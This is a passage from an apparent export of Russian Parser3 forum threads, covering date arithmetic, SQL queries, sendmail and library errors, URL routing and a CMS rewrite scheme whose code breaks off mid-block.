- попробуйте в @info[] перед вызовом _parseInfo добавить: \
[code]\
$s[status: $fResult.status\
text: '$fResult.text'\
stderr: '$fResult.stderr']\
^s.save[/path/to/temp/info.txt]\
[/code]\
потом посмотрите содержимое info.txt\
если сами не сможете разобраться, это содержимое запостите сюда."
"79865","Стандартный вид даты в БД: 2014-05-27 14:43:00\
Нужно получить на 10 минут раньше, с учетом минут, то есть если до 09 минут, то прошлый час.\
Пробую так, но думаю это прыжки через говно, все равно запнешься:\
[code]$pastTime[$SESS.sessionValid]\
^pastTime.match[(\\d+\\-\\d+\\-\\d+)\\s(\\d+)\\:(\\d+)\\:(\\d+)][g]{\
	$previousMin(${match.3}-10)\
	^if(${previousMin} < 09){\
		$previousMin(${previousMin}-(${previousMin}))\
	}\
	^if(${previousMin} >= 56 && ${previousMin} < -01){\
		$previousHour(${match.2}+1)\
		$previousTime[${match.1} ${previousHour}:${previousMin}]\
	}(${previousMin} le 56){\
		$previousTime[${match.1} ${match.2}:${previousMin}]\
	}\
}[/code]\
Этот пример тоже плохо работает.\
Как сделать лучше?\
Нужно для того, чтобы прод(б)лять куки."
"79866","см. веткой ниже)"
"79867","Веткой ниже не то, там про куки, это Я и так знаю, знаю так же как отнять или прибавить сколько угодно времени к текущему(время сейчас), но не знаю как правильно отнять 10 минут от записанного в БД."
"79868","там про все тоже самое, как по мне, а так читаем: [url=\"http://www.parser.ru/docs/lang/datecreaterel.htm\"]доку[/url])"
"79869","при доставании данных из БД можно подобные манипуляции сделать средствами БД. получится гораздо быстрее и красивее.\
\
P.S. причем скорее всего это нужно будет добавлять в WHERE"
"79870","Смотрите, доки все давно перечитал.\
Перечитал этот пост и предыдущий топик.\
Но не могу кое чего понять.\
Вот запись в БД: 2014-05-27 14:43:00\
Как от нее отнять 10 минут.\
^date::now(-10/60/24) – это минус 10 минут от сейчас."
"79871","$dExpires(...)\
$dtCreated[^date::create[...]]\
$dtExpires[^date::create($dtCreated + $dExpires)]\
\
как-то так, хотя выше Михаил дал свои рекомендации"
"79872","Сделал как-то так:\
[code]$pastTime[$SESS.sessionValid]\
^pastTime.match[(\\d+\\-\\d+\\-\\d+)\\s(\\d+)\\:(\\d+)\\:(\\d+)][g]{\
	$previousMin(${match.3}-10)\
	$previousHour(${match.2}-1)\
	$fooriousMin(60+${previousMin})\
	^if(${previousMin} <= 00){\
		$previousTime[${match.1} ${previousHour}:${fooriousMin}]\
	}(${previousMin} >= 00){\
		$previousTime[${match.1} ${match.2}:${previousMin}]\
	}\
}[/code]\
\
В SQL не мыслитель, не силен. Подскажите что использовать?"
"79873","[code]\
SELECT \
date, # просто дата\
date - INTERVAL 5 MINUTE # дата за вычетом 5 минут\
FROM \
mytable\
[/code]"
"79874","Приветствую!\
Ищем толкового программиста для долгосрочного сотрудничества по разным проектам. Сейчас, в частности, по одному нашему крупному продуктовому ИМ. Доработка и последующая поддержка.\
Важно - опыт, и чтобы программист не уходил \"в запой\" на неделю без выхода на связь.\
\
Позже будут новые крупные проекты, если сработаемся.\
Нахождение в Санкт-Петербурге является огромным плюсом, но не обязательным условием.\
\
Пишите либо сюда, либо на почту speakplace@gmail.com\
Спасибо!"
"79875","получаю ошибку видимо при попытке коннекта к базе\
\
'connect-string' element can not be stored to void [parser.runtime]\
\
parser3, debian6x64\
\
как быть, подскажите"
"79876","ещё код ошибки (57:6)"
"79877","я уверен, что в вашей задаче это должен делать SQL с помощью DATE_ADD/DATE_SUB, но если вдруг действительно нужно сделать что-то такое парсером, то надо так:\
[code]\
$date[^date::create(^date::create[DATE-STRING-HERE] - 5/24/60)]\
[/code]"
"79878","это не код ошибки, это строка и позиция в строке"
"79879","код покажите"
"79880","1/24 = 60 минут\
1/48 = 30 минут\
1/96 = 15 минут\
1/144 = 10 минут\
1/288 = 5 минут\
\
надеюсь логику поняли, остальное у allex_by и у Misha v.3"
"79881","Пробую так:\
[code]$NEXTime[^connect[$connect_string]{^table::sql{SELECT sessionValid, sessionValid - INTERVAL 10 MINUTE FROM S WHERE sID='$cookie:sID'}}]\
$NEXTime.sessionValid[/code]\
И ничего не получается.\
Как мне извлекать дату и правильно ли Я все делаю?"
"79882","Что-то вы совсем не то творите.\
Для начал вынесите connect, потом проверьте, что поле sessionValid у вас не TIMESTAMP, а DATETIME\
\
[code]@main[]\
^connect[$connect_string]{\
	^something[]\
}\
\
@something[]\
\
$NEXTime[^table::sql{\
		SELECT	\
			sessionValid, # поле должно быть DATETIME\
			sessionValid - INTERVAL 10 MINUTE AS 'teenMinutesBefore'\
		FROM \
			S\
		WHERE\
			sID='$cookie:sID'\
		}]\
^if($NEXTime){\
	$NEXTime.sessionValid\
	$NEXTime.teenMinutesBefore\
}{\
#	нет такой сессии\
}[/code]"
"79883","Здравствуйте, после переноса движка на другой сервер появилась следующая ошибка (парсер работает тесты проходят нормально) может кто нибудь сталкивался\
compilation error: file parser://xsl/account.xsl line 4 element decimal-format\
xsltParseStylestyleDecimalFormat: tabulated already exists\
/home/rb/www.mbn.com.ua/www//.files/45\
/home/rb/www.mbn.com.ua/www/xml.html(86)\
exception.type=xml"
"79885","версии парсера до и после?\
\
парсер собирается с последними на момент его релиза xml/xslt библиотеками. часто в этих библиотеках появляются несовместимости (например раньше разрешалось что-то, что не по стандарту, а потом закрутили гайки).\
о некоторых подобных несовместимостях, которые мы сами обнаружили, мы сообщаем. но возможно мы что-то проглядели.\
\
удостоверьтесь, что на новом сервере используется та-же версия парсера, что и на старом.\
если она отличается, то можете найти причину возникновения ошибки в xsl (это правильный путь) или взять старую версию парсера. ну или взять новую версию, но собрать её со старыми версиями xml/xslt библиотек (правда не всегда можно собрать со старой версией, т.к. API библиотек тоже меняется и мы под него подстраиваемся)."
"79887","каждый следующий подгруз результатов ставьте метку и спокойно делайте бэк (http://habrahabr.ru/post/123106/). Все остальные доводы касаются неграмотного проектирования интерфейсов.\
\
Подгружаемые результаты отлично реализованы в http://pinterest.com и пагинатор бы просто убил всю красоту полета"
"79888","Прерывания оч не хватает.\
Туча условий и фигурные скобки уже взрывают мозг, а тут, чтобы прервать нужно ещё расставить условий = ещё кучку фигурных скобок :)\
\
Прерывание (для редиректа) выглядит так:\
1. Вставляем код от G_Z где нужно :)\
@unhandled_....\
2. Вместо $response:location[/123], пишем \
^throw[redirect;/123]\
3. Для проверки после ^throw можно добавить:\
$ttt[Не прервали]\
^ttt.save[/no.txt]\
\
Если файл не создался - прервался на ^throw, если появился, то не прервался."
"79889","Почему-то перестали работать формы обратной связи на сайте. \
Пишет: Use configure key \"--with-sendmail=appropriate sendmail command\". Что делать?\
\
Изменений никаких не вносилось в код, до этого все работало отлично."
"79890","Метод XDoc.string создаёт XML-документ с заголовком, в котором кодировка почему-то указана заглавными буквами:\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
\
Официальное название кодировки \"windows-1251\"\
http://www.iana.org/assignments/character-sets/character-sets.xhtml\
\
Можно ли как-нибудь это исправить? Или придётся извращаться и дописывать заголовок руками?"
"79891","На этой же странице:\
\
\"However, no distinction is made between use of upper and lower case letters.\"\
\
Так что любое ПО должно понимать и такой вариант."
"79892","Хм, действительно.\
Однако, не все разработчики ПО это знают."
"79893","парсер обновляли?\
OS менялась?\
в системе есть /usr/sbin/sendmail или /usr/lib/sendmail?\
\
если почему-то нету, то обратитесь к админу, чтобы появилось.\
\
если по каким-то причинам админ не согласен с появлением этих программ в системе, то возьмите unsafe версию парсера и задайте путь к sendmail как описано тут:\
http://www.parser.ru/docs/lang/parserconfmethod.htm"
"79894","Вроде с этой ошибкой справился, пользуясь статьей здесь на форуме про подмену nconvert, NConvert.p и ImageMagick.p. Теперь другая ошибка. При попытке добавить изображение в раздел Работ опять ошибка и в логе вот такая запись:\
[Tue Jun  3 11:42:48 2014] [7713] /manage/catalog/gallery_add.html: /home/a/arniss/bryansk-nebo.ru/public_html/manage/catalog/gallery_add.html(36:15): 'imageresize_into' undefined method [parser.runtime] [uri=/manage/catalog/gallery_add.html, method=POST, cl=3698]\
Что это может значить? Может еще где-то права надо менять на каталоги или файлы?"
"79896","Да, но раньше на другом хостинге этой ошибки не было. Ведь как-то добавлялись элементы..."
"79897","однако права на файлы/каталоги вряд-ли таким образом могли повлиять."
"79898","Решил вопрос. Видимо в моей версии обработчика не было пары методов.\
в gallery_add.html Метод 'imageresize_into' заменил на resize и все заработало."
"79899","Добрый день!\
Столкнулся с проблемой, хочу написать что то вроде чата, только кривыми руками, иных не имею.\
Проблема в отправке сообщений.\
Если в коде убрать проверку на определенность формы, то в БД записывается все, кроме поля с текстом сообщения, а если проверку оставить, то ничего не происходит.\
URL страницы вида /rooms/educations, /rooms/juristic, фактически страница находиться по следующему адресу и обрабатывает все /_/rooms.html\
В .htaccess вот что прописано:\
[code]<IfModule mod_rewrite.c>\
Options +FollowSymLinks\
RewriteEngine On\
RewriteRule ^rooms/([^/]+) /_/rooms.html?url=$1\
RewriteRule ^rooms /_/rooms.html\
</IfModule>[/code]\
Вот содержание /_/rooms.html\
[code]$room[/rooms]\
$uri[$request:uri]\
$query[$request:query]\
^query.match[(\\w+)\\=(\\w+)][']{\
	$url[$match.1]\
	$urlValue[$match.2]\
}\
^connect[$connect_string]{\
	$ROOM[^table::sql{SELECT id, roomName, url, rID FROM R WHERE url='$urlValue'}]\
	$C[^table::sql{SELECT id, FuID, TuID, rID, DATE, MESS FROM C WHERE rID = '$ROOM.id' AND FuID = '$A.AUTH.id'}]\
	$R[^table::sql{SELECT id, roomName, url, rID FROM R}]\
}\
^if($R){\
	<a href=\"${room}\">Комнаты</a>\
	^R.menu{\
		<a href=\"${room}/${R.url}\">$R.roomName</a>\
	}\
}<br>\
^if($ROOM){\
	$ROOM.roomName\
}<br>\
<div class=\"messages\">\
	^if($C){\
		^C.menu{\
			${A.AUTH.login}: ${C.MESS}<br/>\
		}\
	}<br/>\
</div>\
^send[]\
@send[]\
<form name=\"messageForm\" method=\"POST\" accept-charset=\"UTF-8\">\
	<input type=\"text\" name=\"message\">\
	<input type=\"submit\" value=\"sendMessage\">\
</form>\
^if(def $form:message){\
	^connect[$connect_string]{\
		^void:sql{\
			INSERT INTO C (FuID, rID, DATE, MESS) VALUES ('$A.AUTH.id', '$ROOM.id', '$A.nowTime', '$form:message')\
		}\
	}\
}[/code]"
"79901","- забудьте про $request:query. есть $form, читайте про него и используйте только его\
\
- добавьте ключ QSA в RewriteRule. и в принципе два ваших rule можно заменить на один.\
\
- добавление данных нужно делать ДО отображения"
"79902","Парсер обновил при релизе, все работало.\
ОС не менялась.\
sendmail есть"
"79904","/usr/sbin/sendmail -t -i"
"79905","до кучи посмотрите в конфигурационный auto.p и убедитесь, что там у вас не переопределён путь к sendmail (это можно сделать, если у вас используется собранная самостоятельно версия парсера)\
также попробуйте взять собранный нами парсер\
ну и наконец попробуйте сделать тестовый файл с вызовом ^mail:send[], где в from и to указаны только email адреса (без имён в кавычках)."
"79906","Подскажите пожалуйста, как извлекать конкретные данные, например\
[code]^form:fields.foreach[field;value]{ \
   $field - $value \
}[/code]\
выводит все значения. url - education, message - text.., date - 10.10.2020 10:20.\
Как мне получить именно url - education?"
"79908","В документации для ^taint[uri] [url=http://www.parser.ru/docs/lang/opuntainttaint.htm]указано[/url], что\
[quote]символы за исключением цифр, строчных и прописных латинских букв, а также следующих символов: _ - . \" \
преобразуется в %XX где XX - код символа в шестнадцатеричной форме[/quote]\
\
Однако, / тоже не заменяется на %2F, чего не указано.\
\
Это логично, если рассматривать помечаемое как полный URI, но нелогично, если красить сегмент URI.\
\
Быть может стоит добавить ещё один вид покраски — uri-component, который будет маркировать и /?\
Дабы не городить заборов с таблицами символов и пляской с кодировками.\
Можно, конечно, делать apply-taint с последующей заменой слеша, но как-то неаккуратно.\
\
По аналогии с JS: encodeURI / decodeURI / encodeURIComponent / decodeURIComponent."
"79909","Здравствуйте!\
\
Хочу предложить дополнение к внешнему выполнению файла, а именно выполнение в отдельном независимом потоке без получения результирующего значения.\
\
Это удобно в тех случаях, когда требуется сделать уведомления (отправка письма внешним скриптом, push-уведомление, http-запрос) при выполнении определенных событий на сайте, но не обременяя тем самым пользователя на возможное ожидание выполнения запроса.\
\
Сейчас такой подход реализуется только с помощью perl fork.\
\
Спасибо"
"79911","Очереди хороши для гарантированной доставки уведомлений, таких как SMS клиенту.\
Бывают случаи когда нужно просто уведомить самого себя, например о том, что кто-то авторизовался на сайте или совершил какое-либо действие. \
Но если я не получу такое уведомление, страшного ничего не произойдет."
"79916","... по отношению к нашему скрипту, поэтому она асинхронна. Т.е. действия будут выполняться вне основного потока исполнения. Во-вторых никто не мешает нам разбирать очередь одновременно в несколько потоков/процессов и это тоже происходит асинхронно. Не смогли обработать — вернули в очередь. Стратегию разбора очереди можно выбрать любую — не обязательно разбирать последовательно.\
\
Сделать очередь очень просто. Хорошая статья на эту тему есть у Якова Сироткина — http://www.telamon.ru/articles/async.html. По идеям из этой статьи у меня в PF'е есть классик для работы с очередью — http://code.volchkov.net/parser3-pf/src/971e436c78ef78bd26c417576077c22e5ed59766/sql/orm/generics/queue/?at=pf.\
\
p.s. Если sendmail на хостинге настроен аккуратно, то он тоже использует очередь, т.е. принимает сообщения с консоли, но не отправляет его сразу, а добавляет в очередь на отправку и возвращает управление скрипту."
"79917","возникла проблема с работоспособностью парсера на хостинге infobox.ru	\
Залил (в режиме binary), права настроил (755), проверил через _test.html все работает, обрадовался и  подумал, что сам сайт залью на след. день, а вижу \
[b]Ошибку:[/b] Error occurred: 500 - internal server error\
[b]В логах пишет:[/b] Premature end of script headers: parser3.cgi\
[b]и[/b] /var/www/vhosts/21/120885/webspace/cgi-bin/parser3.cgi: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by /var/www/vhosts/21/120885/webspace/cgi-bin/parser3.cgi)\
/var/www/vhosts/21/120885/webspace/cgi-bin/parser3.cgi: /lib64/libc.so.6: version `GLIBC_2.7' not found (required by /var/www/vhosts/21/120885/webspace/cgi-bin/parser3.cgi)\
 Premature end of script headers: parser3.cgi\
\
Не подскажете, как такое может быть, что то работает, то нет, хотя изменений никаких не вносилось?\
А в тех. поддержке отсылают к создателю сайта (т.е. мне), может подскажете, что у них спросить?\
Спасибо за уделённое время!"
"79918","Возможно ваш сайт провайдер перенес на другой сервер, с отличающейся версией OS, поэтому и перестало работать.\
В любом случае сейчас надо узнавать точную версию OS и брать версию парсера для нее (или собирать из исходников)."
"79919","Добрый день!\
Подскажите пожалуйста как реализовать универсальный фронт контроллер.\
Вот мой .htaccess\
[code]RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ /0x13/rewrite.html [L,QSA][/code]\
А вот rewrite.html\
[code]$str[$request:uri]\
$parts[^str.split[/;lv;url]]\
^parts.save[parts.cfg]\
$table[^table::load[parts.cfg]]\
Количество строк: ^table.count[][/code]\
Только не могу понять одного, как лучше поступить.\
Получается нужно брать $request:uri, разбивать его на строки, брать каждую строку и сверять с БД и соответственно выдавать результат.\
Не знаю как $request:uri разбить и перебрать все его значения в БД и на основании этого выдать ответ.\
И правильно ли все это.\
Как лучше все это сделать?\
Чтобы одна страница все обрабатывала и если адрес страницы был неверным, то выдавать ошибку 404."
"79920","У меня в базе хранятся готовые uri страниц. mod_rewrite передает параметр uri в index.html, а дальше просто делается выборка страницы из базы по $form:uri\
\
htaccess:\
[code]RewriteRule	^(.*)$	/?uri=/$1 [L,QSA][/code]\
\
index.html:\
[code]\
$uri[^if(def $form:uri){$form:uri}{/}]\
$page[^table::sql{SELECT ... WHERE uri = '$uri'}]\
[/code]\
\
минимум телодвижений при открытии страницы. а uri формируется при создании/изменении страницы в админке. для главной uri всегда \"/\". а 404 можно выдавать если $page пустой"
"79921","Решение прекрасное, только правда как редактировать этот адрес?\
Получать в input полный адрес страницы /shit/on/the-wall.html и менять только его часть?\
Хочу реализовать что то примерно похожее на ЧПУ с возможностью редактировать каждый отдельный элемент адреса, допустим где то использовать id, а где то название.\
Это всегда используется в CMS."
"79922","Как вам такое решение, логично и правильно ли оно сделано?\
[code]$URL[$request:uri]\
$url[^URL.split[/;lv;url]]\
$parent[SQL some]\
$child[SQL some]\
$postchild[SQL some]\
^url.menu{\
	^switch[$url.url]{\
		^parent.menu{\
			^case[$parent.name]{действие для $parent.name}\
			^case[$parent.id]{действие для $parent.id}\
		}\
		^child.menu{\
			^case[$child.name]{действие для $child.name}\
			^case[$child.id]{действие для $child.id}\
		}\
		^postchild.menu{\
			^case[$postchild.name]{действие для $postchild.name}\
			^case[$postchild.id]{действие для $postchild.id}\
		}\
	}\
}[/code]"
"79923","... про энжин - http://fifonik.com/hobby/progr/engine4.html. Это не самая простая тема, но интересно, если делаете CMS.\
\
P.s. Про хранение деревьев в БД смотрите примеры."
"79924","для каждой страницы есть поле \"адрес\", которое можно заполнить вручную или транслитеровать автоматом из поля \"заголовок страницы\". при изменении/добавлении страницы, ее адрес формируется из адреса родительской страницы + значение из поля \"адрес\" самой страницы."
"79925","В котором все можно лепить из админки, в большинстве случаев это избыточно, хотя в рамках работы студии скорее всего вам это и надо было )"
"79926","Есть url формата:\
/mizter/egoist/mere\
/mizter/egoist/mere/some.html\
Как получать mere и some.html отдельно в разных переменных.\
Сделал:\
[code]$URL[$request:uri]\
$url[^URL.split[/;lv;url]][/code]\
В переменной $url.url содержаться все данные.\
Как получать последнюю и предпоследнюю в разные переменные."
"79928","[quote]/index.html(10:14): 'offset' element can not be stored to table [parser.runtime] [uri=/, method=GET, cl=0][/quote]\
Пробовал:\
[code]$url.offset[]\
$url.url.offset[][/code]"
"79929","Мы с вами говорим о некотором абстрактном алгоритме фронт-контролера, которого в природе не бывает. Все зависит от того как устроено ваше приложение, как оно разбито на модули, какая структура урлов и т.д. и т.п. Исходя из этого решите каким образом разбивать uri на части и как по нему искать нужный модуль и обработчик.\
\
В простых случаях для обработки урла можно обойтись сплитом (для CMS ввобще можно хранить урлы в БД и искать строчки их в базе, как это сделано у Миши с fullpath), в каких-то нужны регулярные выражения, чтобы выдернуть из урла переменные и отдать обработчикам. В последнем случае удобно сделать свой микро-язык для обработки адресов.\
\
Скажем для блога уже нужно иметь некоторый набор урлов с переменными:\
[code]\
  $_routeRequirements[\
    $.articleID[\\d+]\
  ]\
\
  ^router.assign[article/:articleID/edit;article/edit;$.requirements[$_routeRequirements]]\
  ^router.assign[article/:articleID/publish;article/publish;$.requirements[$_routeRequirements]]\
  ^router.assign[article/:articleID/showcomments;article/showcomments;$.requirements[$_routeRequirements]]\
  ^router.assign[article/:articleID/hidecomments;article/hidecomments;$.requirements[$_routeRequirements]]\
  ^router.assign[article/:{slug}-:articleID;article;$.requirements[$_routeRequirements]]\
  ^router.assign[article/:articleID;article;$.requirements[$_routeRequirements]]\
\
  ^router.assign[tags/:slug/rss;rss;$.name[tag-rss] $.strict(true) $.requirements[$_routeRequirements]]\
  ^router.assign[tags/:slug;/;$.name[tag] $.strict(true) $.requirements[$_routeRequirements]]\
[/code]\
\
Для более навороченных приложений этот список становится еще больше:\
[code]\
  $_routeRequirements[\
    $.clientID[\\d+]\
    $.personID[\\d+]\
    $.organizationID[\\d+]\
    $.calcID[\\d+]\
    $.pubID[\\d+]\
    $.specID[\\d+]\
    $.commentID[\\d+]\
    $.accountID[\\d+]\
    $.date[\\d{4}-\\d{1,2}]\
    $.entityID[\\d+]\
  ]\
\
  ^router.assign[new/bycalc/:calcID;new/bycalc][$.requirements[$_routeRequirements]]\
\
# Клиенты\
  ^router.assign[:clientID;client][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/edit;client/edit][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/setstart;client/setstar][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/unsetstar;client/unsetstar][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/undo;client/undo][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/delete;client/delete][$.requirements[$_routeRequirements]]\
\
# Сотрудники\
  ^router.assign[:clientID/persons/new;persons/new][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/persons/:personID;persons/edit][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/persons/:personID/delete;persons/delete][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/persons/:personID/restore;persons/restore][$.requirements[$_routeRequirements]]\
\
# Организации\
  ^router.assign[:clientID/organizations/new;organizations/new][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/organizations/:organizationID;organizations/edit][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/organizations/:organizationID/delete;organizations/delete][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/organizations/:organizationID/restore;organizations/restore][$.requirements[$_routeRequirements]]\
\
# Издания\
  ^router.assign[:clientID/pubs/:pubID;pubs][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/new;pubs/new][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/new/bycalc/:calcID;pubs/new/bycalc][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/edit;pubs/edit][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/delete;pubs/delete][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/restore;pubs/restore][$.requirements[$_routeRequirements]]\
\
  ^router.assign[:clientID/pubs/:pubID/specs/new;pubs/specs/new][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/specs/:specID/edit;pubs/specs/edit][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/specs/:specID/delete;pubs/specs/delete][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/pubs/:pubID/specs/:specID/restore;pubs/specs/restore][$.requirements[$_routeRequirements]]\
\
# Заказы\
  ^router.assign[:clientID/pubs/:pubID/orders;orders][$.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/orders;orders][$.requirements[$_routeRequirements]]\
\
# Калькуляции\
  ^router.assign[:clientID/calcs;calcs;$.name[client-allcalcs] $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/calcs/:calcID;calcs/calc;$.strict(true) $.name[client-calc] $.requirements[$_routeRequirements]]\
  ^router.assign[calcs/:calcID;calcs/calc;$.strict(true) $.name[client-calc] $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/calcs/new;calcs/new;$.name[client-new-calc] $.requirements[$_routeRequirements]]\
\
# Контакты\
  ^router.assign[comments/:date;comments; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/comments;comments/client; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/comments/:commentID/edit;comments/edit; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/comments/:commentID/remark;comments/remark; $.requirements[$_routeRequirements]]\
  ^router.assign[comments/:commentID/edit;comments/edit; $.requirements[$_routeRequirements]]\
  ^router.assign[comments/:commentID/remark;comments/remark; $.requirements[$_routeRequirements]]\
\
  ^router.assign[:clientID/comments/:entityType/:entityID/new;comments/new;$.requirements[$_routeRequirements]]\
  ^router.assign[comments/:entityType/:entityID/new;comments/new;$.requirements[$_routeRequirements]]\
\
  ^router.assign[:clientID/comments/new;comments/new; $.requirements[$_routeRequirements]]\
\
# Лицевой счет\
  ^router.assign[:clientID/accounts;accounts; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/accounts/new;accounts/new; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/accounts/:accountID/edit;accounts/edit; $.requirements[$_routeRequirements]]\
  ^router.assign[:clientID/accounts/:accountID/delete;accounts/delete; $.requirements[$_routeRequirements]]\
[/code]\
\
У меня это все загнано на уровень фреймворка, потому что делать такие вещи для каждого проекта вручную смысла нет.\
\
p.s. Я не работаю в Студии .:)"
"79930","http://www.parser.ru/docs/lang/tableoffset.htm — там есть примеры того как перемешаться по элементам таблицы."
"79931","Все получилось. Огромное спасибо.\
[code]$URL[$request:uri]\
$url[^URL.split[/;lv;url]]\
$someguy[/^url.menu{$url.url}[/]]\
$cPage[^URL.split[/;lv;url]]\
^cPage.offset(-1)\
$cFolder[^URL.split[/;lv;url]]\
^cFolder.offset(-2)[/code]"
"79933","в последних версиях у меня там не просто поиск по fullpath.\
там есть \"встроенные rewrite-ы\" и редиректы. и всё без изменения структуры БД.\
\
P.S. вы хотите об этом поговорить? :)\
P.P.S. \"в последних версиях\" == \"уже лет пять как\""
"79934","... вот код Энжина не открыт, поэтому разговор больше теоретический. Тем не менее, если опишешь как у тебя реврайты устроены — будет полезно не только мне."
"79935","дык я могу алгоритм рассказать или даже привести кусок кода с поиском того, к чему обратились и что получает в своё распоряжение разработчик."
"79938","на самом деле я обманул: на схеме evgine v.4 не указаны некоторые поля, т.к. они были добавлены только в v.5, но это случилось ещё в 2008 году, просто лень было обновлять описание.\
\
в engine есть встроенный аналог rewrite. для его реализации добавлены поля object.child_handling_type_id -- тип рерайта (бывает два: 1 -- рерайты обрабатывает текущий объект, 2 -- рерайты обрабатывает другой объект) и object.child_handler_object_id -- ссылка на объект, обрабатывающий rewrite-ы типа 2.\
\
программисту в обработчиках (это выполняющийся код на парсере) доступен объект $hRewrite, в котором хранится информация о произошедшем рерайте.\
\
1. рерайты первого типа:\
объект САМ перехватывает обращения ко всем несуществующим наследникам. в этом случае в $hRewrite._ помещается нормализованная информация о куске URL, который находится после url текущего объекта.\
\
если есть объект /branches/, у которого указано, что он сам обрабатывает обращения к несуществующим наследникам, при этом обратились по адресу /branches/centre/, то коду в обратотчике объекта /branches/ доступно $hRewrite._[centre].\
при обращении по адресу /branches/centre/moscow/ коду в обработчике /branches/ доступно $hRewrite._[centre/moscow]\
\
\
2. рерайты второго типа:\
обработку обращений к несуществующим потомкам будет производить другой объект (какой -- указано в административном интерфейсе, это может быть вообще произвольный объект в другом месте сайта)\
например есть объекты /branches/ и /branches/REGION/, первому указали, что обращения к несуществующим наследникам будут переадресовываться объекту /branches/REGION/.\
при запросе /branches/ будет обрабатываться сам объект /branches/ (например отображающий список городов) при запросе /branches/centre/ будет обрабатываться объект /branches/REGION/ (с его обработчиком и шаблоном), при этом в обработчиках будет доступна информация: $hRewrite.REGION[centre].\
если у нас ещё есть объект /branches/REGION/CITY/ и у объекта /branches/REGION/ указано, что все обращения к его несуществующим потомкам переадресовывать объекту  /branches/REGION/CITY/, то всё вышеописанное будет продолжать работать, но вдобавок обращения по адресу /branches/centre/moscow/ будут приводить к обработке запроса объектом /branches/REGION/CITY/ (уже с его обработчиком и шаблоном), при этом в $hRewrite будут доступны $hRewrite.REGION[centre] и $hRewrite.CITY[moscow]. ключами в хеше $hRewrite являются пути объектов (path), которые не должны дублироваться (сделано для простоты), а значениями -- выкусываемые кусочки (один редирект приводит к выкусыванию одного кусочка). если при этом произойдёт обращение по адресу  /branches/centre/moscow/tverskaya/, то будет выдана страница с 404 ошибкой, т.к. система не знает что делать с куском URL 'tverskaya'.\
\
3.\
предыдущие два пункта можно комбинировать и последнему объекту в цепочке переадресаций указать, что он сам обрабатывает обращения ко всем несуществующим наследникам.\
в этом случае, если подобную опцию указать у рассматриваемого выше объекта /branches/REGION/CITY/, то обращение по адресу /branches/centre/moscow/tverskaya/ не будет приводить к 404 ошибке, а информация о последнем кусочке будет доступна: $hRewrite._[tverskaya]\
при обращении по адресу /branches/centre/moscow/street/tverskaya/ -- $hRewrite._[street/tverskaya]\
\
\
ну и код (если он кому-то нужен).\
методы getObjectsByFullPath и getObjectsById не имеют ничего общего с живыми методами. в живых реализовано кеширование. метод findObjectByURI также несколько упрощён.\
\
[code]\
@findObjectByURI[sURI;hParams][...объявление локальных переменных...]\
$hParams[^hash::create[$hParams]]\
$hRewrite[^hash::create[]]\
$bFound(false)\
$result[\
	$.hRewrite[$hRewrite]\
	$.bFound(false)\
	$.sError[]\
	$.hOrigin[^hash::create[]]\
	$.hCurrent[^hash::create[]]\
	$.hLog[^hash::create[]]\
]\
\
$bContinue(true)\
$iWatchDogCount(20)\
$hRewrited[^hash::create[]]\
\
^while($bContinue && $iWatchDogCount){\
	$bContinue(false)\
	$bFound(false)\
	$tVisible[^self.getObjectsByFullPath[^self.getParentsFullPaths[$sURI];$hParams]]\
\
	^if($tVisible){\
		^if(^tVisible.locate[full_path;$sURI]){\
			^rem{ *** object with specified URI exists *** }\
			$result.hCurrent[$tVisible.fields]\
			$bFound(true)\
		}{\
			^rem{ *** object with specified URI does not exist. check if engine's rewrites are used *** }\
			^tVisible.offset[set](-1)\
			$iTypeID($tVisible.child_handling_type_id)\
			^if($iTypeID){\
				^if($hRewrited.[$tVisible.id]){\
					$result.sError[Infinite recursion while processing rewrites is detected]\
				}{\
					$hRewrited.[$tVisible.id](true)\
					$hObject[$tVisible.fields]\
					$sOriginURI[$sURI]\
\
					$sTail[^sURI.mid(^hObject.full_path.length[])]\
\
					^if(!def $hRewrite.sTail){\
						^rem{ *** the 1st rewrite iteration *** }\
						$hRewrite.sTail[$sTail]\
						$result.hOrigin[$hObject]\
					}\
					^switch($iTypeID){\
						^case(1){\
							^rem{ *** handle nonexistent child by itself *** }\
							$hRewrite._[^sTail.trim[both;/]]\
							$result.hCurrent[$hObject]\
							$bFound(true)\
						}\
\
						^case(2){\
							^rem{ *** another object will handle nonexistent child => modify URL and search again *** }\
							^rem{ *** cut 1st 'subdir' *** }\
							$iPieceLength(^sTail.pos[/])\
							^if($iPieceLength>0){\
								$sPiece[^sTail.left($iPieceLength)]\
								$sTail[^sTail.mid($iPieceLength+1)]\
							}{\
								$sPiece[$sTail]\
								$sTail[]\
							}\
\
							$hHandler[^self.getObjectById($hObject.child_handler_object_id)]\
							^if($hHandler){\
